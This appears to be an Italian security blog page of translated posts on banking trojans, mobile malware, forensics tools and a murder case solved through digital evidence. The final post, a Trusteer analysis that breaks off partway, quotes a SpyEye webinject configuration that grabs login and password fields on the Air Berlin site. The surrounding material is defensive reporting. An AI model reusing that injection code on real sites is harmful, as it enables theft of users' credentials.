Confessione di World of Warcraft svela l’omicida di un’adolescente

Il post seguente è stato tradotto per gentile concessione di DFI News

immagine promo World of Warcraft Una confessione di World of Warcraft, insieme a una miriade di altre parti di prove digitali, hanno permesso alla Vancouver Island Major Crime Unit e alla Royal Canadian Mounted Police di risolvere l’omicidio di Kim Proctor, una liceale canadese, i resti bruciati della quale sono stati trovati sotto un ponte.

Per i casi che coinvolgono gli adolescenti, il mondo online è “più importante che mai”, dice il caporale Darren Lagan, portavoce della British Columbia Island District R.C.M.P.: “Le persone tendono ad essere più libere online, specialmente i giovani, non temono alcuna conseguenza o il giudizio di nessuno.”

I presunti amici di Kim, Kruse Wellwood e Cameron Moffat, l’hanno attirata a casa Kruse, dove l’hanno legata, picchiata e violentata, prima di liberarsi del corpo. Un messaggio di testo, inviato dal luogo in cui si sono sbarazzati del corpo, si è rivelato prova cruciale.

Gli investigatori hanno ​​monitorato Facebook, compresa una pagina commemorativa che la famiglia e gli amici hanno creato in suo onore, alla ricerca di potenziali testimoni, sia lì che su altre pagine disponibili pubblicamente su Facebook; ma per nessuna è stato necessario un mandato.

Ben presto la polizia ha avuto prove sufficienti per richiedere le necessarie autorizzazioni giudiziarie per monitorare e analizzare le attività online di Kruse e Cam. Tenendo Kruse e Cam sotto stretta sorveglianza, la polizia ha spiato le loro case, i loro telefoni cellulari e persino il gazebo dove si sdraiavano nel parco. Tramite l’analisi della forensic dei computer dei ragazzi e dei telefoni cellulari, hanno estratto le loro ricerche di Google e Wikipedia, oltre a vecchie trascrizioni di testi e messaggi istantanei. In totale, la Tech Crimes Unit ha accumulato l’equivalente di 1,4 miliardi di fogli di carta sui due.

Quando i ragazzi sono stati finalmente arrestati, i due sono stati dichiarati colpevoli di omicidio di primo grado e vilipendio di cadavere e sono stati condannati all’ergastolo senza possibilità di libertà condizionata per 10 anni.

Fonte: Vanity Fair

Fonte: World of Warcraft Confession Uncovers Teen Murderer


Posted in DFI News, Traduzioni inglese-italiano and tagged , by with no comments yet.

SpyEye cambia i numeri di telefono per effettuare l’hijack degli SMS Out of Band

Il post seguente è stato tradotto per gentile concessione di Trusteer

Il team di ricerca Trusteer ha recentemente scoperto un nuovo attacco stealth, effettuato dal Trojan SpyEye, che aggira le misure di sicurezza dell’SMS (short message service) mobile adottato da molte banche. Utilizzando il codice che abbiamo catturato mentre proteggevamo un utente Rapport, abbiamo scoperto un attacco basato sul Web a due fasi, che permette ai truffatori di cambiare il numero di cellulare del conto bancario online di una vittima e reindirizzare i codici di conferma SMS utilizzati per verificare le transazioni online. Questo attacco, se riuscito, consente ai ladri di effettuare transazioni e verificarle all’insaputa dell’utente.

Fase 1

Nella prima fase dell’attacco, SpyEye ruba i dati di accesso bancari online della vittima. Una procedura standard per il malware finanziario come SpyEye, Zeus e altri. I truffatori ora possono accedere al conto della vittima senza allarmare i sistemi di rilevamento delle frodi.

Fase 2

Nella fase 2, SpyEye cambia il numero di telefono della vittima nel record nell’applicazione di banking online con uno dei vari numeri casuali controllati dall’attacker. Per completare questa operazione ha bisogno del codice di conferma inviato dalla banca al numero di telefono originale del cliente. Per rubarlo, l’attacker utilizza il seguente schema di social engineering.

In primo luogo, SpyEye inietta una pagina fraudolenta nel browser del cliente che sembra provenire dall’applicazione di banking online. La falsa pagina simula l’introduzione di un nuovo sistema di sicurezza, “richiesto” dalla banca, che necessita di registrazione da parte dei clienti. La pagina spiega che con questo nuovo processo di sicurezza al cliente verrà assegnato un numero telefonico univoco e che riceverà una speciale carta SIM via mail. Successivamente, all’utente verrà richiesto di inserire, nella pagina web fasulla, il numero di conferma personale ricevuto sul cellulare per completare il processo di registrazione del nuovo sistema di sicurezza. Questo permetterà ai criminali di rubare il codice di conferma di cui hanno bisogno per autorizzare il cambio del numero di cellulare del cliente.

Ecco una schermata della pagina fraudolenta creata da SpyEye e presentata al cliente (tradotta dallo spagnolo all’inglese):

Fraudulent page by Spyeye

Ora, i truffatori, possono ricevere qualsiasi futuro codice di verifica delle transazioni SMS dell’account per il quale hanno effettuato l’hijack tramite la propria rete telefonica. Questo permetterà loro di utilizzare il sistema di conferma SMS per deviare i fondi dal conto del cliente a sua insaputa, senza attivare alcun allarme di rilevazione frodi.

L’Out-of-Band non è una panacea

Quest’ultima configurazione di SpyEye dimostra che i sistemi out-of-band authentication (OOBA) , tra cui le soluzioni basate su SMS, non sono infallibili. Utilizzando una combinazione della tecnologia MITB (injection del man in the browser ) e social engineering, i truffatori non sono in grado soltanto di bypassare OOBA ma anche prendere tempo per verificare le transazioni e volare sotto il radar dei sistemi di rilevazione frodi. L’unico modo per sconfiggere questo nuovo attacco, una volta che un computer è stato infettato da SpyEye, è utilizzare la sicurezza degli endpoint che blocca le tecniche MITB. Senza un approccio a più livelli di sicurezza, anche gli schemi OOBA più sofisticati, in circostanze particolari, possono essere resi vani.

Fonte: SpyEye Changes Phone Numbers to Hijack Out of Band SMS


Posted in Traduzioni inglese-italiano, Trusteer and tagged , , by with no comments yet.

Disponibile CAINE 2.5 SUPERNOVA

Il post seguente è stato tradotto per gentile concessione di DFI News

CAINE (Computer Aided Investigative Environment) è uno strumento open source che offre un ambiente completo per la forensic, organizzato per integrare strumenti software già esistenti come moduli software e per fornire un’interfaccia grafica facile da comprendere.

Gli obiettivi principali di progettazione di CAINE sono i seguenti:

  • un ambiente interoperabile che supporti l’investigatore digitale durante le quattro fasi dell’indagine digitale
  • un’interfaccia grafica facile da comprendere per l’utente
  • una compilazione semi-automatica della reportistica finale

CAINE include script attivati all’interno del browser Web Nautilus, progettato per semplificare l’analisi dei file allocati. Attualmente gli script possono gestire molti database, cronologie internet, registri di Windows, file eliminati ed estrarre dati EXIF ​​in file di testo per una semplice analisi. Lo strumento “Quick View” automatizza questo processo, grazie all’identificazione del tipo di file e del rendering tramite uno strumento appropriato.

Gli script “live preview” di Nautilus, inoltre, permettono anche di accedere facilmente alle funzioni amministrative: come rendere scrivibile un dispositivo collegato, passare alla shell, o aprire una finestra di Nautilus con privilegi di amministratore. Lo script “Save as evidence” scriverà il(i) file selezionato(i) in una cartella “Evidence” sul desktop e creerà un report testuale relativo al file, contenente i metadati del file e un commento dell’investigatore, se lo si desidera.

Uno script unico, “Identify iPod Owner”, è incluso nel set degli strumenti. Questo script rileverà un dispositivo iPod collegato e montato, visualizzerà i metadati relativi al dispositivo (nome utente attuale, numero seriale del dispositivo, ecc…).
L’investigatore ha la possibilità di analizzare i file multimediali allocati e lo spazio non allocato, per cercare informazioni relative agli utenti iTunes presenti nei file multimediali acquistati presso l’Apple iTunes store, ad esempio, il vero nome e l’indirizzo e-mail.

Per ulteriori informazioni visitare il sito www.caine-live.net/index.html

Fonte: CAINE 2.5 SUPERNOVA Available


Posted in Computer forensics, Digital Forensics, Traduzioni inglese-italiano and tagged by with no comments yet.

Malware mobile: perché i truffatori sono due passi avanti

Il post seguente è stato tradotto per gentile concessione di Trusteer

Cattive notizie: i truffatori hanno tutti gli strumenti necessari per trasformare efficacemente il malware mobile nel più grande problema di sicurezza mai riscontrato. Manca solo una cosa: la scelta del cliente. Il numero degli utenti che usano il banking online dai propri dispositivi mobili, è ancora relativamente basso. Inoltre le transazioni sui siti web di molte banche non sono ancora abilitate ai dispositivi mobili. Dal momento che le frodi online sono principalmente basate sui grandi numeri, attaccare gli utenti del banking mobile non è ancora una frode efficace. Ma aspettatevi un cambiamento. Ad un anno da ora, tutto sarà completamente diverso, quando molti più utenti inizieranno a utilizzare il banking dal proprio telefono cellulare e i truffatori passeranno alle maniere forti.

Trusteer ha calcolato che entro 12/24 mesi, 1 telefono Android ( ma anche iPad/iPhone) su 20 (5,6% ) potrebbe essere infettato con il malware mobile, se i truffatori cominceranno ad integrare le vulnerabilità mobili zero-day in exploit kit importanti.

Il paradiso dei truffatori: Google Android

L’architettura di sicurezza di Android non è all’altezza della sfida. Soprattutto per quanto riguarda la facilità di creare potenti applicazioni fraudolente e la facilità nel distribuirle. I truffatori possono facilmente creare applicazioni che hanno accesso a risorse sensibili del sistema operativo, come i messaggi di testo e voce, la posizione geografica e molto altro ancora. Agli utenti che installano una di queste applicazioni, comparirà un messaggio con un elenco delle risorse alle quali l’applicazione richiederà l’accesso; ma, generalmente, verrà ignorato, visto che molte applicazioni richiedono l’accesso a un ampio elenco di risorse. Creare una potente applicazione fraudolenta per Android che rubi ed abusi della vostra identità e del vostro conto in banca, è quasi banale. Distribuire queste applicazioni sull’Android Market è ancora più banale.

Non vi sono controlli reali dell’intero processo di upload, che potrebbero identificare e impedire la pubblicazione di applicazioni dannose in questi store. Rispetto all’App Store di Apple, l’Android Market è il selvaggio West. Non ci si può sempre fidare delle applicazioni che si scaricano.

I truffatori ​​hanno già iniziato ad abusare di questa grande falla nella sicurezza. Dozzine di applicazioni dannose sono già state individuate nell’Android Market. Google ne ha rimosso la maggior parte ma altre continuano ad arrivare. Trusteer ha identificato applicazioni pericolose sull’Android Market che sono rimaste per settimane prima di essere rimosse da Google.

L’utente medio fatica a individuare questa pagina , che permette di richiedere a Google di analizzare e rimuovere le applicazioni inappropriate dall’Android Market.
Ma non aspettatevi che Google reagisca velocemente a ciò che avete inviato tramite questo modulo. Lo abbiamo usato alcune volte senza risultati.
Per rimuovere un’applicazione dal Google Market, in realtà, abbiamo dovuto utilizzare contatti interni a Google, che non sono disponibili all’utente medio. Il processo di identificazione e rimozione delle applicazioni dannose dall’Android Market, richiede importanti miglioramenti.

La maggior parte delle applicazioni dannose che hanno colpito Android non sono finanziarie. Tuttavia, nel maggio di quest’anno, abbiamo visto il (già noto) malware Man in the Mobile (MitMo) che aveva già attaccato i telefoni Symbian, Blackberry e Windows in fase di porting per Android. Questo attacco è stato progettato per bypassare l’SMS Out of Band (OOB) dei processi di autenticazione e di verifica delle transazioni delle banche. La prossimità di questo attacco con la recente guida FFIEC che consiglia alle banche di prendere in considerazione, tra gli altri, l’Out of Band per combattere gli attacchi di malware, risulta ironico. Dimostra esattamente perché i truffatori sono due passi avanti.

Per chi non sapesse come funzioni OOB, ecco una breve descrizione: l’idea generale è quella di combattere il malware che infetta la macchina dell’utente. Quando l’utente accede al sito di una banca da un PC infetto da malware finanziario come Zeus o SpyEye, il malware s’impossessa della sessione web e inietta transazioni fraudolente per conto dell’utente. Con OOB attivato, la banca invia un messaggio di testo al numero di telefono pre-registrato dell’utente. Il messaggio include i dettagli della transazione e un codice di verifica. L’utente dovrà copiare il codice di verifica dal dispositivo mobile al browser del PC. Il presupposto è che se la transazione è stata generata dal malware, l’utente non completerà il processo e non copierà il codice di conferma nel browser; di conseguenza la banca non approverà la transazione.

L’attacco MitMo fa cadere questo presupposto: quando l’utente viene infettato e cerca di accedere al sito web della banca, il malware entra in gioco e chiede all’utente di scaricare un’autenticazione, o un componente di sicurezza sul dispositivo mobile per completare il processo di login. L’utente crede, erroneamente, che questo messaggio provenga dalla banca, mentre in realtà proviene dal malware.Quando l’utente installa il malware sul dispositivo mobile, i truffatori controllano sia il PC dell’utente che il telefono. Successivamente il ​​malware genera una transazione fasulla per conto dell’utente. La banca invia un messaggio di conferma al dispositivo mobile dell’utente. Il malware legge il messaggio di conferma e lo invia al malware sul PC. Quindi, elimina il messaggio di conferma dal dispositivo mobile in modo che l’utente non lo veda. Il malware sul PC inserisce il codice di conferma e approva la transazione.

Ciclo d'attacco MitMo

Il malware per Android diffuso a maggio di quest’anno, è di diversi tipi. In uno si utilizzava anche il marchio Trusteer per guadagnare la fiducia degli utenti e convincerli a scaricare l’applicazione. Lo stesso malware è stato usato insieme a Zeus 2.1.0.10. Il pc dell’utente è stato prima infettato da Zeus, che successivamente mostrava il messaggio per scaricare il componente malware di Android.

Applicazione Android fraudolenta che utilizza MitMo e abusa del marchio Trusteer

Chi ha già scaricato Trusteer Rapport è protetto da questo tipo di attacco.

Apple iOS non è così sicuro come si possa pensare

IOS è il sistema operativo dell’iPad iPhone e iPod. Con il malware per iOS, è una storia leggermente diversa. Non è facile creare applicazioni dannose che abbiano accesso alle risorse del dispositivo, visto che iOS effettua rigorosi controlli sull’accesso alle applicazioni. Non è nemmeno facile immettere applicazioni pericolose sull’App Store, visto che Apple effettua una revisione manuale di ogni applicazione presentata, che permette di rilevare applicazioni illegali.

Tuttavia, c’è una falla in questa architettura di sicurezza e si chiama jailbreaking. Un dispositivo IOS con il jailbreaking non impone il controllo degli accessi e permette, in pratica, a qualsiasi app di fare ciò che vuole sul dispositivo. Purtroppo molti utenti effettuano il jailbreak dei propri dispositivi, visto che vogliono eseguire tipi di applicazioni che non sono su App Store. Ma cosa ancor più grave è che le vulnerabilità di IOS potrebbero consentire a siti Web dannosi di effettuare il jailbreak del dispositivo e infettarlo con malware senza il consenso, o la consapevolezza dell’utente. La scorsa settimana abbiamo visto un buon esempio proprio di questo.

JailbreakMe.com ha pubblicato un exploit che permette il jailbreaking automatico dei dispositivi IOS da un sito Web appositamente creato. I file PDF che sfruttano questa vulnerabilità, sono liberamente disponibili. Anche fare clic su un documento in formato PDF, o navigare su un sito web che contenga documenti PDF, è sufficiente per infettare il dispositivo mobile con il malware. Ora, il concetto di siti web dannosi che sfruttino gli exploit per infettare dispositivi endpoint, è ben noto ai truffatori. Il famigerato BlackHole exploit kit e altri, quali Fragus e Neosploit, automatizzano questi processi. BlackHole è estremamente pericoloso e ampiamente utilizzato in quanto distribuito gratuitamente. Milioni di siti sono stati compromessi per eseguire questi exploit kit.

Quando gli utenti accederanno ad uno di questi siti web compromessi, verranno infettati dal malware. I truffatori possono utilizzare lo stesso exploit kit per qualsiasi parte del malware. Quando gli autori di BlackHole aggiungeranno le vulnerabilità IOS al loro kit, assisteremo a un rapido aumento della distribuzione di malware sui dispositivi IOS. Questa recente vulnerabilità non è la prima che abbia permesso ai truffatori di compromettere dispositivi IOS e non sarà l’ultima. Stiamo osservando solamente l’inizio del problema.
I truffatori continueranno ad analizzare IOS e ne scopriranno vulnerabilità, che permetteranno loro di compromettere i dispositivi e commettere frodi. Spero di sbagliarmi, ma ad un anno da ora, tutto questo potrebbe diventare così comune da non fare nemmeno notizia.

Conclusione

Solo negli Stati Uniti, il 50% dei telefoni cellulari sono smartphone, con Android e iPhone veri leader del mercato. In aprile di quest’anno, un sondaggio tra gli utenti di smartphone del Solutions Research Group con sede a Toronto, l’ha dimostrato e ha mostrato che il 38% usa un’applicazione bancaria.

Questi due numeri sono in costante aumento e stanno per diventare abbastanza grandi affinché i truffatori inizino ad usare le maniere forti.

Tutti gli elementi essenziali sono presenti: i truffatori vanno alla ricerca di vulnerabilità per IOS e Android, possiedono exploit kit efficaci per automatizzare il processo, compiono operazioni su larga scala che compromettono siti web e li costringono a distribuire malware e hanno malware per cellulari che può commettere frodi. A mio parere, tutto questo porta ad una conclusione: stiamo per affrontare uno tra i peggiori problemi di sicurezza che sia mai esistito e non passerà molto tempo prima che avvenga.

Le soluzioni anti-malware per la telefonia mobile rappresentano difficilmente la risposta a questo problema. Queste soluzioni non sono molto diverse rispetto alle loro controparti per PC. Sono basate sull’analisi delle applicazioni installate sul dispositivo e un elenco di note applicazioni dannose. Questo tipo di soluzione non è scalabile quando il numero di applicazioni dannose aumenta vertiginosamente. Visto l’aumento del malware mobile, stiamo per affrontare lo stesso problema delle soluzioni per gli antivirus desktop: bassa efficacia.

Si rende necessaria una soluzione diversa, con un approccio diverso alla sicurezza mobile: che impedisca a questi dispositivi d’infettarsi e possa proteggere la comunicazione mobile con le banche dal malware che, eventualmente, dovesse finire sul dispositivo. Questo principio è stato usato con successo da Trusteer Rapport per proteggere 150 banche in tutto il mondo e ora è disponibile per IOS e Android. Trusteer Mobile sarà lanciato entro la fine dell’anno, in collaborazione con alcune importanti banche e sta per cambiare il modo in cui le banche e i loro clienti pensano la sicurezza mobile.

Raccomandazioni per rendere sicuro il mobile banking:

  1. Controllate la reputazione, le recensioni degli utenti ed i commenti di ogni applicazione mobile che scaricate. Evitate le applicazioni con un basso punteggio, quelle nuove, o con recensioni negative.
  2. Prestate attenzione ai permessi richiesti dalle applicazioni Android quando le installate. Le applicazioni che chiedano l’accesso ai messaggi di testo e ad altre informazioni sensibili, dovrebbero mettervi in allarme e farvi compiere ulteriori ricerche prima di scaricarle
  3. Proteggete il vostro PC con un software di sicurezza per l’online banking come Trusteer Rapport, che potrete scaricare dal sito della vostra banca. Questo software può bloccare gli attacchi MitMo, impedendo ai truffatori di controllare il canale web.
  4. Installate regolarmente gli aggiornamenti per il vostro dispositivo mobile

Calcolo dei tassi di infezione degli smartphone per gli exploit zero day

Le statistiche Trusteer di giugno 2011 mostrano che ogni giorno un utente su 1500 accede a un sito web infettato con l’exploit kit BlackHole. Ogni giorno, 667 utenti su un milione accederanno all’exploit kit BlackHole . Ipotizzando che l’exploit kit BlackHole integri una vulnerabilità zero day, come la recente JailbreakMe, ciò indica 667 utenti infetti al giorno su 1 milione. Ipotizzando che ad Apple o Google serva una settimana per risolvere la vulnerabilità e in media 2 settimane agli utenti per aggiornare il proprio cellulare con una nuova release, ciò indica una media di 21 giorni di esposizione, in cui 14.000 utenti su un milione vengono infettati con l’attacco zero day. Ipotizzando 4 exploit zero day in un anno, arriviamo a 56.000 infezioni all’anno per milione di utenti, pari al 5,6%: un numero estremamente elevato.

Fonte: Mobile Malware: Why Fraudsters Are Two Steps Ahead


Posted in Traduzioni inglese-italiano, Trusteer and tagged , , by with no comments yet.

Trojan:BASH/QHost.WB

Il post seguente è stato tradotto per gentile concessione di F-Secure

Ci siamo imbattuti in un falso installer FlashPlayer.pkg per Mac:

Una volta installato, il trojan aggiunge alcune voci nei file host con l’intento di effettuare l’hijack degli utenti che visitano vari siti di Google, (ad esempio, google.com.tw, ​​google.com.tl, ecc), verso l’indirizzo IP 91.224.160.26, che si trova nei Paesi Bassi.

Il server dell’indirizzo IP visualizza una pagina web fasulla, creata per apparire simile al sito legittimo di Google.

Per fare un esempio, questo è l’aspetto di Google.com.tw su un sistema normale, non-infetto:

trojan_bash_qhost_wb_google_tw_clean (68k image)

Ecco, invece, come appare Google.com.tw su un sistema infetto:

trojan_bash_qhost_wb_google_tw_infected_system (72k image)

Quando viene richiesta una ricerca, il server remoto restituisce una falsa pagina che imita una pagina legittima dei risultati di ricerca di Google.

Ecco una richiesta di ricerca sul sito reale di google.com.tw su un sistema pulito:

trojan_bash_qhost_wb_google_tw_clean_searches (169k image)

Ed ecco la stessa richiesta su un sistema infetto:

trojan_bash_qhost_wb_google_tw_infected_system_searches (250k image)

Anche se la pagina sembra abbastanza realistica, fare clic su uno dei link non porterà l’utente ad altri siti. Il clic sui link aprirà, però, nuove pagine pop-up, tutte provenienti da un server remoto separato:

trojan_bash_qhost_wb_google_tw_infected_system_search_source (173k image)

Mentre scriviamo, le pagine pop-up non mostrano nulla, anche se presumiamo siano annunci di qualche tipo. Pare che il server remoto che invia le pagine pop-up non sia operativo.

L’altro server remoto che invia false richieste di ricerca sembra essere ancora attivo.

Abbiamo identificato questo trojan come Trojan:BASH/QHost.WB.

—–

Analisi di – Brod

Fonte: Trojan:BASH/QHost.WB


Posted in F-Secure, Traduzioni inglese-italiano and tagged by with no comments yet.

Violare le batterie dei laptop Apple

Il post seguente è stato tradotto per gentile concessione di Schneier on Security

Interessante :

Il ricercatore ed esperto di sicurezza Charlie Miller, molto noto per il suo lavoro su Mac OS X e Apple IOS, ha scoperto un metodo interessante per disabilitare completamente le batterie sui laptop Apple, rendendoli definitivamente inutilizzabili; oltre a consentire di eseguire un certo numero di altre azioni. Il metodo, che prevede l’accesso e l’invio di istruzioni al chip ospitato sulle batterie intelligenti, potrebbe essere utilizzato anche per altri scopi ancor più dannosi.

[...]

Miller ha scoperto che le batterie vengono spedite dalla fabbrica in “sealed mode” e che, per modificare tale stato, è necessaria una password di quattro byte.
Analizzando un paio di aggiornamenti che Apple aveva inviato per risolvere alcuni problemi delle batterie in passato, ha scoperto la password ed è riuscito a portare la batteria in “unsealed mode”.

In questo modo è stato in grado di fare alcune piccole modifiche al firmware, ma non quello che avrebbe voluto veramente. Indagando ulteriormente ha scoperto che era necessaria una seconda password per poter accedere completamente alla batteria e dargli la possibilità di apportare le modifiche desiderate. La password di default non viene cambiata sui laptop prima di essere spediti. Così Miller ha scoperto che avrebbe potuto fare parecchie cose interessanti.

Ha detto che “così potrete accedere allo stesso livello della fabbrica”. “Potrete leggere tutti i firmware, apportare modifiche al codice, fare quello che volete. E queste modifiche al codice resisteranno a una reinstallazione del sistema operativo, quindi è possibile pensare di scrivere malware che potrebbe nascondersi sul chip della batteria. Ma servirà una vulnerabilità nell’SO, o qualcosa che la batteria potrebbe sfruttare per l’attacco. ”

I componenti diventano più intelligenti, ma anche più vulnerabili.

Fonte: Hacking Apple Laptop Batteries


Posted in Bruce Schneier, Traduzioni inglese-italiano by with no comments yet.

ShareMeNot

Il post seguente è stato tradotto per gentile concessione di Schneier on Security

ShareMeNot è un componente aggiuntivo per Firefox che impedisce il monitoraggio dei pulsanti di terze parti (come il pulsante “Mi piace” di Facebook , o “+1 ” di Google ), a meno che l’utente non scelga di interagire con quest’ultimi. ShareMeNot non disabilita/rimuove completamente questi pulsanti, ne permette il rendering sulla pagina, ma impedisce l’invio dei cookie, fino a quando l’utente non faccia effettivamente clic su di loro; a quel punto ShareMeNot rilascia il cookie e l’utente ottiene il comportamento desiderato (ad esempio, usare il “Mi piace”, o “+1″ su una pagina).

Fonte: ShareMeNot


Posted in Bruce Schneier, Traduzioni inglese-italiano and tagged by with no comments yet.

Delle minacce di Android: Spyware:Android/SndApps.A e Trojan:Android/SmsSpy.D

Il post seguente è stato tradotto per gentile concessione di F-Secure

Il malware per Android sembra essere di gran moda al momento. Ecco alcuni commenti in merito ad un paio di interessanti questioni accessorie che sono sorte durante le nostre analisi.

Ecco la prima: c’è stato un report recente in merito ad applicazioni sospette trovate nell’Android Market ufficiale. Le app in questione, da allora, sono state ritirate ma il nostro threat hunting team s’è imbattuto in loro in forum e altri luoghi simili, generalmente promossi come ‘app gratuite’.

Le stesse applicazioni sembrano essere semplici giochi. Ad un certo punto, però, pare siano stati inseriti alcuni servizi aggiuntivi. Le versioni precedenti non richiedevano altro che l’accesso a Internet:

permissions_internet (104k image)

Le versioni successive, però, tendono ad andare un po’ più sul personale:

application_permissions (47k image)

new_permissions (169k image)

Dopo le modifiche, l’app è in grado di accedere a varie parti di informazioni del dispositivo: il carrier e il paese, l’ID del dispositivo, l’indirizzo e-mail e il numero di telefono.

services (92k image)

Le informazioni vengono inviate a un server remoto.

Un’ulteriore modifica permette a questa app di inserire una piccola icona che, se si fa clic, porta l’utente ad altre app, che, presumibilmente, potrebbe voler provare. Le app pubblicizzate sembrano mostrare lo stesso comportamento sospetto.

applications (66k image)

La cosa interessante è che entrambe le versioni, sia la precedente “irrilevante” che la successiva “sospetta”, sembrano provenire dagli stessi sviluppatori:

comparison (56k image)

Sembra essere un caso di nuovi comportamenti discutibili aggiunti in un secondo momento ad un’applicazione esistente e non un app riconfezionata con l’aggiunta di routine estranee e dannose. Ne stiamo ancora esaminando i vari aspetti, ma, per ora, in base al comportamento osservato rileviamo queste app come Spyware:Android/SndApps.A

Questo caso ci interessa, in quanto sembra essere un’evoluzione nello sviluppo di applicazioni Android, in particolare ‘greyware’. Questo tipo di comportamento sembra confermare una delle nostre previsioni precedenti, secondo la quale uno sviluppatore “fidato” sarebbe in grado di far uscire un aggiornamento contenente routine sospette/indesiderate/non etiche, che potrebbero invadere la privacy dell’utente.

Le nuove routine inserite potrebbero ottenere informazioni sugli utenti ed essere utilizzate per altri scopi, come l’invio di messaggi pubblicitari o spam. Nel peggiore dei casi, i dettagli possono essere venduti a terzi. Non avremmo modo di sapere cosa si stia facendo con le informazioni.

In un altro caso, ancora più recente, abbiamo discusso dello strano comportamento di un’altra app Android segnalata , questa volta un trojan.

Non aveva senso che il trojan intercettasse un messaggio SMS, per poi inviarlo ad un indirizzo di loopback:

smsspy_loopback (131k image)

Dalla nostra indagine pare che questa app possa essere un programma di test. Lo rileviamo come Trojan:. Android/SmsSpy.C

In ogni caso, uno dei nostri threat hunter ha trovato un file (SHA1: 7d8004b107979e159b307a885638e46fdcd54586) che sembra essere maggiormente utile:

smsspy_link (160k image)

Questo sembra aver più senso. Lo rileviamo come Trojan:Android/SmsSpy.D

—–

Analisi e post di: Zimry, Irene, Raulf e Leong

Fonte: On Android threats Spyware: Android/SndApps.A and Trojan:Android/SmsSpy.D


Posted in F-Secure, Traduzioni inglese-italiano and tagged , , by with no comments yet.

Malware di Android spia i vostri messaggi sms. Ma fa parte della famiglia di Zeus?

Il post seguente è stato tradotto per gentile concessione di Naked Security

Malware di Android I moduli Symbian , Windows Mobile e Blackberry del famigerato toolkit di malware Zeus (noto anche come ZBot), sono noti da mesi ed era chiaro che la gang di Zeus fosse interessata allo sviluppo di malware per piattaforme mobili.

Tuttavia, finora, non abbiamo visto alcuna prova che Zeus prenda di mira gli utenti che possiedono dispositivi Android o IOS (iPhone/iPad).

Questo fatto ci ha abbastanza sorpreso, considerando la popolarità delle piattaforme Android e IOS e la crescente diffusione di malware scritti in particolare per il sistema operativo Android di Google.

Negli ultimi due giorni, però, ci sono state parecchie discussioni sulle mailing list dedicate all’analisi del malware mobile in merito a una versione Android di Zeus.

Alla fine siamo giunti alla conclusione che si trattasse di un’applicazione nociva che i prodotti Sophos rilevano, già dal 31 maggio 2011, come Andr/SMSRep-B .

L’applicazione nociva finge di essere una versione Android del software di sicurezza bancaria Trusteer Rapport ed è stata inviata ai dispositivi con l’SO Android di Google da un web server creato per distribuire il malware Zbot a diverse piattaforme.

Dopo il fatto, non è stato difficile connettere l’applicazione Android allo Zeus toolkit, anche se non siamo certi al 100% che ci fosse una connessione.

L’applicazione installata utilizza un’icona rubata a Rapport e mostra una semplice schermata quando viene lanciata sul dispositivo colpito.

Zeus Rapport

La falsa applicazione Rapport si registra come Broadcast receiver, intercetta tutti gli SMS ricevuti e inoltra i messaggi a un server web nocivo mediante richieste HTTP POST. I messaggi SMS rubati sono codificati utilizzando uno schema di codifica JSON, spesso utilizzato da vari servizi web.

Anche se l’applicazione è chiaramente progettata per sottrarre il contenuto dei messaggi SMS, non è molto elaborata.

Per questo non possiamo essere sicuri al 100% che sia realmente parte del kit Zeus. L’URL del server command and control è hardcoded nel codice sorgente, ad esempio, e ciò non rende l’applicazione molto versatile per essere installata su un server alternativo.

Tuttavia, questa applicazione nociva per Android è interessante, in quanto combina le funzionalità spyware con il concetto di software di sicurezza fasullo. Come abbiamo visto di recente nel mondo di Mac OS X, il falso software antivirus è uno dei temi più comuni adottato dagli hacker malintenzionati durante i loro attacchi.

Alla fine il dubbio se questo faccia realmente parte della famiglia Zeus o meno, rimane.

Suppongo che solo gli sviluppatori dello Zeus kit lo sappiano per certo. Purtroppo non ho modo di contattarli e anche se l’avessi, dubito che sarebbero disposti a confermare o smentire questa teoria.

Fonte: Android malware spies on your SMS messages – but is it part of the Zeus family?


Posted in Naked Security, Traduzioni inglese-italiano and tagged , , , , by with no comments yet.

Il trojan SpyEye colpisce siti web di compagnie aeree che accettano carte di debito bancarie

Il post seguente è stato tradotto per gentile concessione di Trusteer

Abbiamo scoperto una versione di SpyEye che colpisce gli utenti dei siti web di due compagnie aeree leader in Europa: Air Berlin, seconda compagnia aerea in Germania (dopo Lufthansa) e AirPlus, fornitore globale di servizi di business travel per le aziende. SpyEye usa la macchina dell’utente, non i siti, per effettuare questo tipo di frode.

I soggetti da attaccare sono ben lungi dall’essere scelti a caso ma, crediamo, siano accuratamente scelti per il loro potenziale di guadagno criminale. Un sito accetta pagamenti con carte di debito, mentre l’altro si rivolge agli utenti aziendali.

Air Berlin, la sesta compagnia aerea in Europa, non solo accetta carte di debito e di credito; ma permette ai cittadini austriaci, olandesi e tedeschi di pagare con addebito bancario diretto sette giorni prima della partenza.

Di conseguenza, i criminali che colpiscano un viaggiatore Air Berlin da questi paesi, hanno una buona probabilità di ottenere i dati personali degli utenti; tra cui la data di nascita, obbligatoria sul sito della compagnia aerea, così come i loro dati bancari.

Air Plus, invece, offre una varietà di servizi per le aziende di tutte le dimensioni tramite il loro sito, tutti pagati con carte di pagamento aziendali, immancabilmente connesse a conti bancari aziendali.

Visto che i conti aziendali tendono ad avere saldi (o limiti di credito) maggiori rispetto ai conti consumer, hanno un potenziale di guadagno cibercriminale maggiore per quanto riguarda la prospettiva della raccolta dati.

Nel caso dell’attacco di Air Berlin, SpyEye cerca di raccogliere informazioni riservate degli utenti, tra cui nomi utente e password e altri dati inseriti nella pagina web colpita. Dal momento che Air Berlin accetta pagamenti con carte di debito bancarie, il potenziale di frode è ancora maggiore.

Il codice dell’injection di SpyEye cattura le informazioni in merito ai dettagli di nomi utente e password:

<WebInjects action=”Inject|POST|GET”>
<Url><![CDATA[https://www.airberlin.com/site/yab/login/login*]]></Url>
<AuxUrl><![CDATA[]]></AuxUrl>
<WebInject>
<Before><![CDATA[<body>]]></Before>
<Data><![CDATA[<iframe name=ifr1 id=ifr1 src="https://www.airberlin.com/site/images/spacer.gif" width=0 height=0 border=none>
</iframe>
<form id=form7 name=form7 target=ifr1 method=post action="https://www.airberlin.com/site/images/spacer.gif">
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="pas" id="pas" />
</form>
<script>
function dosubmit(){
document.form7.cc.value=document.getElementById('login').value;
document.form7.pas.value=document.getElementById('pass').value;
document.form7.submit();
}
</script>]]></Data>
<After><![CDATA[]]></After>
</WebInject>
<WebInject>
<Before><![CDATA[name="yabLogin" id="yabLogin"]]></Before>
<Data><![CDATA[ onclick="dosubmit()"]]></Data>
<After><![CDATA[]]></After>
</WebInject>

La metodologia di attacco di AirPlus, invece, colpisce gli utenti della carta di credito Lufthansa Miles & More del circuito Visa che offre viaggi premio per gli acquisti effettuati con la carta.

